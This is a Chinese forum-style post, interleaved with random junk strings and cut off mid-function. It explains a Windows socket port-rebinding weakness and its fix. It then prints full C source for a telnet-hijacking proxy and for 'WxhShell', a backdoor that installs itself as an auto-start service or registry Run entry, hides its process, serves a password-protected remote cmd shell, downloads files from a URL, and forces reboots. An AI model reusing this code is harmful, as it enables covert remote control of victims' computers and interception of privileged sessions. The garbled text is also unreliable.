在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Ylgr]?Db* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L=WKqRa>4 >X5RRSo saddr.sin_family = AF_INET;
Kk|)N3AV: ;*d?Qe: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
-KZ9TV # R ;wZplVB7y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:b!&Xw$ K~fWZT3] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xU(b:D Z st >%U9 这意味着什么?意味着可以进行如下的攻击:
\tP*Pz 5v sn'=yN 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
PWO5R] V >~\~H2Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Zv9%}%7p e2pFX? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1O1MB&5%
-$,'|\Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Owv}lJ JIf.d($
~: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E
`V?Io ll?Qg%V[t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Nk1p)V SC PO|gM8E1x? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
N(O*"1b N Ff`V #include
0W~1v #include
6=*n$l#} #include
xhB-gG= #include
_,f7D/dq DWORD WINAPI ClientThread(LPVOID lpParam);
dl6Ju int main()
"Id1H {
4E$d"D5]>p WORD wVersionRequested;
\{qtdTd DWORD ret;
+F>erdV WSADATA wsaData;
Z@AN0?,`~o BOOL val;
m;qqjzy SOCKADDR_IN saddr;
WtXf~ :R SOCKADDR_IN scaddr;
|EY1$qItid int err;
&y-z[GR[{ SOCKET s;
D}N4*L1 SOCKET sc;
v|@EuN14< int caddsize;
jY ;Hdb'' HANDLE mt;
$^YHyfh DWORD tid;
S8C}C# wVersionRequested = MAKEWORD( 2, 2 );
E/gfX
err = WSAStartup( wVersionRequested, &wsaData );
o?I`n*u"X if ( err != 0 ) {
8:Dkf v printf("error!WSAStartup failed!\n");
<X?xr f return -1;
rmdg~ }
6p.y/LMO saddr.sin_family = AF_INET;
5fLp?`T n'1LNi //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Bp4#"y2 l-SVI9|<0 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4y$okn\}i saddr.sin_port = htons(23);
=6=l.qyYK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hW\'EJ {
iEbW[sX[4 printf("error!socket failed!\n");
/2 qxJvZ return -1;
pi/&WMZ< }
A[^k4> val = TRUE;
bzZ7L-yD //SO_REUSEADDR选项就是可以实现端口重绑定的
DW)X3A(^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
MFipXE! {
H)Z$j&S{ printf("error!setsockopt failed!\n");
f{|n/j;n=C return -1;
'vKae }
V}JBv$+ko //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
PeSTUR& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Vw`%|x"Xz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gRZ!=z[& Dj3,SJ*x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2<d'!cm {
nk;+L ret=GetLastError();
j|b$b,rF\ printf("error!bind failed!\n");
\)2'+R return -1;
Ix0#eoj }
Eks<O listen(s,2);
=!/T4Oo while(1)
4I.)>+8V {
\@zoM:[sN caddsize = sizeof(scaddr);
Z`n "}{ //接受连接请求
^}<]sjmk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
C\0,D9 if(sc!=INVALID_SOCKET)
(.b!kfC {
9QeBz`lm) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$-\%%n0>6 if(mt==NULL)
OfeM;) {
INR RA printf("Thread Creat Failed!\n");
B|=S-5pv* break;
Qh]k)]+*| }
]|[mwC4 }
\\Z?v,XsS CloseHandle(mt);
}$* z:E }
Q_*.1L closesocket(s);
[lzH%0
V WSACleanup();
AR
g]GV/L return 0;
<d{>[R) }
ZR8y9mx2" DWORD WINAPI ClientThread(LPVOID lpParam)
V-"#Kf9 {
aaI5x SOCKET ss = (SOCKET)lpParam;
SXV2Y- SOCKET sc;
<irr.O unsigned char buf[4096];
EWWCh0
{ SOCKADDR_IN saddr;
JZqJ& long num;
eUD 5V DWORD val;
{<cgeH DWORD ret;
KSUhB //如果是隐藏端口应用的话,可以在此处加一些判断
af/0e}- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
A>*#Nw5L saddr.sin_family = AF_INET;
Ki /j\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
JQW7y!Z saddr.sin_port = htons(23);
2N.!#~_2 D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V0_^==Vs {
d^"|ESQEU printf("error!socket failed!\n");
hzh3p[ return -1;
$]a*ZHd;2& }
&C#?&AQ val = 100;
$M1;d1e6' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J~N!. i {
MI`<U:-lP ret = GetLastError();
1b@]^Ue return -1;
]=Wq&~ }
S5cs(}Bq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zXe]P(p< {
0bu!(Tpg7 ret = GetLastError();
qR4-~p8 return -1;
vI(CX]o }
p1IN%*IV+o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+}BKDEb {
~Yre(8+M printf("error!socket connect failed!\n");
\3x+Z! closesocket(sc);
cxIAI=JK closesocket(ss);
$6d5W=u$H return -1;
K)eyFc }
.AF\[IQ while(1)
U:|:Y=O?Q {
/8/N //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]Bz.6OR //如果是嗅探内容的话,可以再此处进行内容分析和记录
S4!B;,?AxN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}3-`e3 num = recv(ss,buf,4096,0);
j(c;r> if(num>0)
)t,efg send(sc,buf,num,0);
)0=H)k0 else if(num==0)
]zI*}(adu break;
;NGSJfn num = recv(sc,buf,4096,0);
66po SZR@ if(num>0)
m;vm7]5 send(ss,buf,num,0);
l_ LH!Tu else if(num==0)
ZtpbKy!\$B break;
Q@Cy\l }
!z5Ozm+} closesocket(ss);
I"D}amuv closesocket(sc);
;20sh^~ return 0 ;
$-39O3 }
^+Vf*YY
8 i~m;Ah,# g? C<@ ==========================================================
d 0:;IUG 0aYoc-( A 下边附上一个代码,,WXhSHELL
e )] WKq{g+a ==========================================================
^KQZ;[B Z{_YH7_ #include "stdafx.h"
(?P\;yDG z/pxZB~" #include <stdio.h>
)%hW3w #include <string.h>
jori,"s #include <windows.h>
+Ecn #include <winsock2.h>
fhro"5/4 #include <winsvc.h>
O/oLQoH #include <urlmon.h>
161IWos QL-E4] #pragma comment (lib, "Ws2_32.lib")
[`1@`5SL- #pragma comment (lib, "urlmon.lib")
^,Ft7 JAn :7s2M #define MAX_USER 100 // 最大客户端连接数
U<"k- #define BUF_SOCK 200 // sock buffer
cfHtUv #define KEY_BUFF 255 // 输入 buffer
VzWH9%w )c.!3n/pb #define REBOOT 0 // 重启
2UTmQOm #define SHUTDOWN 1 // 关机
-LlS9[r0 k
jx<;##R8 #define DEF_PORT 5000 // 监听端口
:79u2wSh ]'0}fuV #define REG_LEN 16 // 注册表键长度
?p>m;Aq #define SVC_LEN 80 // NT服务名长度
"l B%"} uFfk! // 从dll定义API
-s7a\H{~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
zo1fUsK? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>ni0:^vp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@
b}-<~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
gdg
"g6b >Xxi2Vy // wxhshell配置信息
R^yh, struct WSCFG {
43!E> mq int ws_port; // 监听端口
BfD C[(n` char ws_passstr[REG_LEN]; // 口令
L!Gpk)}[i int ws_autoins; // 安装标记, 1=yes 0=no
nlc$"(eA[H char ws_regname[REG_LEN]; // 注册表键名
^a7a_M char ws_svcname[REG_LEN]; // 服务名
Yd<9Y\W%? char ws_svcdisp[SVC_LEN]; // 服务显示名
~8)l/I=`); char ws_svcdesc[SVC_LEN]; // 服务描述信息
I-W,C&J> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
pR!m int ws_downexe; // 下载执行标记, 1=yes 0=no
|Pv)&'B" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
k:z)Sw char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"XU)(<p
L$@qEsO };
c7]0>nU; m-Qy6"eW // default Wxhshell configuration
?:+p#&I struct WSCFG wscfg={DEF_PORT,
Am >b 7Z! "xuhuanlingzhe",
{gB9EGY 1,
]#W9l\ "Wxhshell",
6U1_Wk? "Wxhshell",
&3\3wcZ,q "WxhShell Service",
~eXI}KhBw6 "Wrsky Windows CmdShell Service",
$?DEO[p. "Please Input Your Password: ",
Ys<z% 1,
)hD77(c "
http://www.wrsky.com/wxhshell.exe",
D_BdvWSxj "Wxhshell.exe"
_CizU0S };
nd{k
D>a )k81 // 消息定义模块
OZ&SxR%q4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.lGN
Fx char *msg_ws_prompt="\n\r? for help\n\r#>";
u&e?3qKX( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w3"%d~/[x char *msg_ws_ext="\n\rExit.";
E*L5D4Kw char *msg_ws_end="\n\rQuit.";
Wp^A. char *msg_ws_boot="\n\rReboot...";
af&P;#U char *msg_ws_poff="\n\rShutdown...";
hcR^? char *msg_ws_down="\n\rSave to ";
5m?9O7Pg Q5*"t*L!N char *msg_ws_err="\n\rErr!";
">q?(i\ char *msg_ws_ok="\n\rOK!";
P&*e\"{ 'wo}1^V char ExeFile[MAX_PATH];
p\tA&>3- int nUser = 0;
.+5;AtN HANDLE handles[MAX_USER];
hSaw)g`w int OsIsNt;
dA0o{[o= fjm3X$tR SERVICE_STATUS serviceStatus;
Y0ACJ?| SERVICE_STATUS_HANDLE hServiceStatusHandle;
>KJE *X@s A"IaFXB // 函数声明
vg5fMH9ZZ int Install(void);
e4;h*IQK int Uninstall(void);
;ao <{i? int DownloadFile(char *sURL, SOCKET wsh);
03!#99 int Boot(int flag);
E4<#6q void HideProc(void);
!4$-.L)# int GetOsVer(void);
]!2[k A- int Wxhshell(SOCKET wsl);
ESuP ZB void TalkWithClient(void *cs);
'2SZ] int CmdShell(SOCKET sock);
+ux`}L( int StartFromService(void);
1/A|$t[ int StartWxhshell(LPSTR lpCmdLine);
5qkyi]/U8 l=47#zbpZ] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sRflabl *x VOID WINAPI NTServiceHandler( DWORD fdwControl );
_Bhd@S! ;6`7
\ // 数据结构和表定义
Kn}Y7B{ SERVICE_TABLE_ENTRY DispatchTable[] =
pAyUQe;X# {
R4S))EHg {wscfg.ws_svcname, NTServiceMain},
)#,a'~w {NULL, NULL}
h3Nbgxa. };
Sb`SJ):x fdgjTX // 自我安装
BipD8`a int Install(void)
X&A2:A 6\+ {
F`.W 9H3 char svExeFile[MAX_PATH];
i1!Y{ HKEY key;
&0OH:P% strcpy(svExeFile,ExeFile);
o}yA{<" |oR#j
` // 如果是win9x系统,修改注册表设为自启动
vhN6_XD if(!OsIsNt) {
m[Qr>= " if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e<"sZK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3(1UIu RegCloseKey(key);
vX$|/74 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
y .a)M?3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W 2A!BaH% RegCloseKey(key);
5?TX.h9B4 return 0;
'r}y{`3M }
G_xql_QR }
H`7T;`Yb }
VgMuX3= else {
0kaMYV? ^j<2s"S // 如果是NT以上系统,安装为系统服务
3Q_)Xs
r` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)b,FE}YX if (schSCManager!=0)
hO(A_Bw {
ZC)m&V1 SC_HANDLE schService = CreateService
+>:[irf (
(lvp-<* schSCManager,
_SQ]\Z wscfg.ws_svcname,
Srrzj-9^)K wscfg.ws_svcdisp,
tNxKpA |F SERVICE_ALL_ACCESS,
v5.KCc}" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
4!Lj\.!$ SERVICE_AUTO_START,
* K0aR! SERVICE_ERROR_NORMAL,
f_IsY+@ svExeFile,
f5'vjWJ30 NULL,
:* J! NULL,
+<WNAmh
NULL,
ge%tj O NULL,
m21H68y NULL
4cDe'9
LA );
v=-T3
n if (schService!=0)
+KIFLuL {
y>ePCDR3 CloseServiceHandle(schService);
.<6'*XR CloseServiceHandle(schSCManager);
K pmq C$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
s2 $w>L strcat(svExeFile,wscfg.ws_svcname);
2=X.$&a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
t5EYu* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J n'SGR RegCloseKey(key);
u`u{\
xN9 return 0;
zn5|ewl@" }
hdYd2
j }
JY$;m3h CloseServiceHandle(schSCManager);
yRt7&,}zL }
Oo9' }
C%"aj^u Om2w+yU return 1;
66scBi_d }
~FnY'F<35 ;V84Dy#b // 自我卸载
e,l-}=5*P int Uninstall(void)
i_p-|I:hQ {
KuMH,rXF HKEY key;
n{"a0O U Fyk%#L if(!OsIsNt) {
iO}KERfU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"fu@2y4^ RegDeleteValue(key,wscfg.ws_regname);
*4c5b'u RegCloseKey(key);
=lx~tSiS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c4}|a1R\= RegDeleteValue(key,wscfg.ws_regname);
6Z{(.'Be RegCloseKey(key);
xU
|8.,@ return 0;
{6>$w/+~ }
0_-P~^A }
-K6y#O@@ }
-6#
_ t else {
~g*5."-i E|_}?>{R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
k!d<2Qp W if (schSCManager!=0)
zEw~t&:e {
Sp[]vm8N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
2FR5RG
oD if (schService!=0)
t_ \&LMD {
H"wIa8A if(DeleteService(schService)!=0) {
%.;;itB CloseServiceHandle(schService);
^t,haO4 CloseServiceHandle(schSCManager);
V2$M`|E return 0;
d5n>2iO }
}bnodb^.7 CloseServiceHandle(schService);
4TSkm`iR }
8I0G%hD CloseServiceHandle(schSCManager);
6u{%jSA>D\ }
]6,D9^{; }
3]kN9n{ >C`#4e?} return 1;
Fm+V_.H/; }
jwheJG }l_8~/9 // 从指定url下载文件
n'!x"O7 int DownloadFile(char *sURL, SOCKET wsh)
_Zxo<}w}y {
>".@; HRESULT hr;
]N:Wt2
char seps[]= "/";
pMoza8 char *token;
;&MnPFmq char *file;
`k(m2k? char myURL[MAX_PATH];
kv<(N char myFILE[MAX_PATH];
Asj<u!L j? Vs"d| strcpy(myURL,sURL);
yh.WTgcW token=strtok(myURL,seps);
'a>D+A: while(token!=NULL)
-0<ZN(?| {
SUD~@]N1 file=token;
:)%cL8Nz]$ token=strtok(NULL,seps);
Yh{5O3(; }
$ SZIJe"K <Ik5S1<h$H GetCurrentDirectory(MAX_PATH,myFILE);
#It!D5A strcat(myFILE, "\\");
lLI%J>b@ strcat(myFILE, file);
6sT(t8[ send(wsh,myFILE,strlen(myFILE),0);
gwFW+*h send(wsh,"...",3,0);
6xu%M&ht hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
OXbC\^qo@ if(hr==S_OK)
*?+2%zP return 0;
N:,V{Pw else
3A\Z]L return 1;
u/FC\xJc {a(<E8-^ }
bb$1zSA 'h[7AZ&)# // 系统电源模块
Mo4c8wp&SM int Boot(int flag)
@2TfW]6 {
n2Q?sV;m HANDLE hToken;
x!u6LDq0 TOKEN_PRIVILEGES tkp;
e1hf{:&/G@ ,Bj]j -\Y if(OsIsNt) {
\!*F:v0g^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&%T*sR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
juxAyds tkp.PrivilegeCount = 1;
(Z8wMy&: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
V@K^9R,| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}6*JX\'q if(flag==REBOOT) {
ri4:w_/{,Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$SfY<j,R return 0;
c*R18,5- }
?\zyeWK0L else {
boZ/*+t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;HiaX<O! return 0;
61*b|.sl'# }
rY)m"'puP }
*Zn,v-d else {
"@rHGxK if(flag==REBOOT) {
qJw\<7m if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2FGCf} , return 0;
?i}wm` }
*=77|Dba else {
|C>\ku* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-o57"r^x return 0;
1U
='" }
~eUv.I/ }
^c|0?EH m~F ~9& return 1;
0\+$j5; }
ac8su0 )4H0Bz2G // win9x进程隐藏模块
<)o xs]< void HideProc(void)
4}]In/yA {
!k#N]
9D3 |@hyGu-H+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@Y#TWt# if ( hKernel != NULL )
:^]FpUY {
A[f`xE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
E cd~H+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
rK4
pYo
FreeLibrary(hKernel);
y tTppmJF }
U[:Js@uH_ Kc+9n%sp return;
5"D\n B% }
Ah
zV?6e <<H'Z // 获取操作系统版本
Zm#,Ike?# int GetOsVer(void)
1h`# H: {
fm Fs OSVERSIONINFO winfo;
.L^F4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Hq,znRz~` GetVersionEx(&winfo);
f1U:_V^d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=-G4BQ return 1;
Sf
t,$ else
")w~pZE&+ return 0;
AS lmW@/9v }
~)5k%?. sO)!}#,
// 客户端句柄模块
zhU^~4F int Wxhshell(SOCKET wsl)
#*G}v%Ow/u {
>jc17BJq SOCKET wsh;
!ce,^z&5 struct sockaddr_in client;
e{.P2rnh DWORD myID;
xP 3>8Y SnoEi~Da while(nUser<MAX_USER)
,;yaYF6|/ {
UiZ1$d* int nSize=sizeof(client);
?y^ ix+M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
IOl0=+p if(wsh==INVALID_SOCKET) return 1;
f1t?<=3Ek< !KHbsOT?9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3GZrVhU?m if(handles[nUser]==0)
MED_#OS closesocket(wsh);
a(x#6 else
2-:` lrVd nUser++;
Bhe0z|& }
B:)vPO+ d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%3q7i`AZ RR>G}u9np return 0;
M,SIs
3 }
'@#l/9 ={~A}
X01 // 关闭 socket
dz?Ey~;M void CloseIt(SOCKET wsh)
EtDzmpJR> {
O! w&3 p closesocket(wsh);
?$b*)< nUser--;
7[8d-Sf24{ ExitThread(0);
&y ~GTEP }
S|_lbMZM ZMch2 U8 // 客户端请求句柄
3UJSK+d\ void TalkWithClient(void *cs)
QW&@>i {
{;hRFQ^b N ^H
H&~V SOCKET wsh=(SOCKET)cs;
T7*p!0 char pwd[SVC_LEN];
wVUm!Y char cmd[KEY_BUFF];
XMpE|M!c char chr[1];
QB7^8O!< int i,j;
h'A
#Yp0, |l,0bkY@& while (nUser < MAX_USER) {
m_UzmWF &-|(q!jm if(wscfg.ws_passstr) {
a6g+"EcH#' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
(M%ZSF V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+VHoYEW //ZeroMemory(pwd,KEY_BUFF);
`~LaiN. i=0;
}k6gO0z while(i<SVC_LEN) {
58Z,(4:E _i0,?U2C // 设置超时
s?&UFyYb, fd_set FdRead;
<2PO3w?Z struct timeval TimeOut;
C6:;
T% FD_ZERO(&FdRead);
ra{HlB{ FD_SET(wsh,&FdRead);
-[7S. TimeOut.tv_sec=8;
h>n<5{zqM TimeOut.tv_usec=0;
xQ8?"K;iX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\eS-wO7% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_({K6adb
0EUC8Ni if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'>UQsAvm pwd
=chr[0]; PL7_j
if(chr[0]==0xd || chr[0]==0xa) { A<cnIUW
pwd=0; K<"Y4O#]
break; 9icy&'
} ['@R]Si"!
i++; efm#:>H
} Qs\!Kk@
[\)irCDv
// 如果是非法用户,关闭 socket gOn^}%4.I
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (%|L23
} *iujJi
]q@W(\I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MJ`BlE,Fmb
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zY\MzhkX,
| PzXN+DW
while(1) { .KE2sodq
c +]5[6
ZeroMemory(cmd,KEY_BUFF); +q)B4A'J!
'M3V#5l)@|
// 自动支持客户端 telnet标准 SWMi+)
j=0; mV'^4by
while(j<KEY_BUFF) { I$1~;!<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #jX%nqMxW
cmd[j]=chr[0]; {b26DKkQS
if(chr[0]==0xa || chr[0]==0xd) { Kv6#WN~
cmd[j]=0; 1EA} [x
break; m-}6DN
} ZbLN:g}
j++; _iW-i
} O.wk*m!9
-'::$
{
// 下载文件 )Xd2qbi
if(strstr(cmd,"http://")) { F5/,H:K\
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5\P3JoH:Yg
if(DownloadFile(cmd,wsh)) ~er4w+"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OwG:+T_
else (Qz|
N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8nHFNOv6
} 9y5nG
else { ewzZb*\
mi$*,fz
switch(cmd[0]) { ~JxAo\2i
#kL4Rm;
// 帮助 B}2 JK9
case '?': { Km,:7#aV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); St~a/Lq6
break; %%Z|6V74
} @1G`d53N
// 安装 Q~AK0W
case 'i': { 73'.TReK
if(Install()) 99..]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'P<T,:z?
else +G<9 |-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dnUiNs8
break; 9x[|75}l
} F5;x>;r
// 卸载 <ooRpn
case 'r': { A]"IQ-
if(Uninstall()) fW.)!EPO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p}R3AJ
else i2+vUl|;Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >6zXr.
break; a76`"(W
} V61.UEN
// 显示 wxhshell 所在路径 zWEt< `1M
case 'p': { 4GTB82V$
char svExeFile[MAX_PATH]; f8?c[%br
strcpy(svExeFile,"\n\r"); \3v}:E+3
strcat(svExeFile,ExeFile); 2zN%Z!a#J
send(wsh,svExeFile,strlen(svExeFile),0); ?.b.mkJ
break; l:rT{l=8*
} a#:K"Mf.
// 重启 ^zVBS7`J
case 'b': { .|9o`mF7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !]z6?kUK
if(Boot(REBOOT)) */yR_f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w-P%-4
else { 9Wi+7_)
closesocket(wsh); jFMf=u&U
ExitThread(0); +XN/ bT
} Y>: e4Q
break; p[M*<==4
} F),wj8#~>-
// 关机 5W=jQ3 C
case 'd': { &fYV FRVkq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .kkrU
if(Boot(SHUTDOWN)) KQ(7% W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1P+Te,I
else { i VIpe
closesocket(wsh); v&i,}p^M5
ExitThread(0); IHlTp0?
} lwuslt*E/
break; \a}W{e=FNT
} 51lN,VVD
// 获取shell P1f@?R&t+
case 's': { H%AC *,
CmdShell(wsh); c_YP#U
closesocket(wsh); j?
P=}_Ru
ExitThread(0); (77EZ07%
break; ($ l
t@j
} >m;*Zk`
// 退出 '-[~I>o%
case 'x': { p&~= rp`E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #XJ`/\E]
CloseIt(wsh); zU$S#4/C
break; hB)TH'R{:
} M}
{'kK
// 离开 3\jcq@N
case 'q': { 2XN];,{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); R|h(SXa
closesocket(wsh); BE]PM
n I
WSACleanup(); wkwsBi
exit(1); )+S^{tt
break; ~qxuD_
} "dO>P*k,
} Hkck=@>8H*
} rFPfTpS
\h}a?T6
// 提示信息 2'6:fr=R
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )HN,A z"
} ] oh.w
} 56
raZC
TQ\\/e:
return; <CnTiS#
} lZa L=HS#L
c/q -WEKL
// shell模块句柄 m|5yET
int CmdShell(SOCKET sock) bez_|fY{T
{ $WV N4fg
STARTUPINFO si; X^;LiwQv
ZeroMemory(&si,sizeof(si)); oI6l `K$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iHB1/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e:&(y){n(
PROCESS_INFORMATION ProcessInfo; 09psqXU@I
char cmdline[]="cmd"; }L1-2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \-?@
&' :
return 0; If*t$f>y4N
} LgX"Qk&Ca
dLs40 -R
// 自身启动模式 a;2Lgv0/
int StartFromService(void) *Bgk3(n)
{ .^%!X!r
typedef struct 3Y}X7-|)Z
{ aMaFxEW
DWORD ExitStatus; *75?%l
DWORD PebBaseAddress; (t\
F>A
DWORD AffinityMask; n
7Bua
DWORD BasePriority; j5yxdjx9
ULONG UniqueProcessId; '&.QW$B\B_
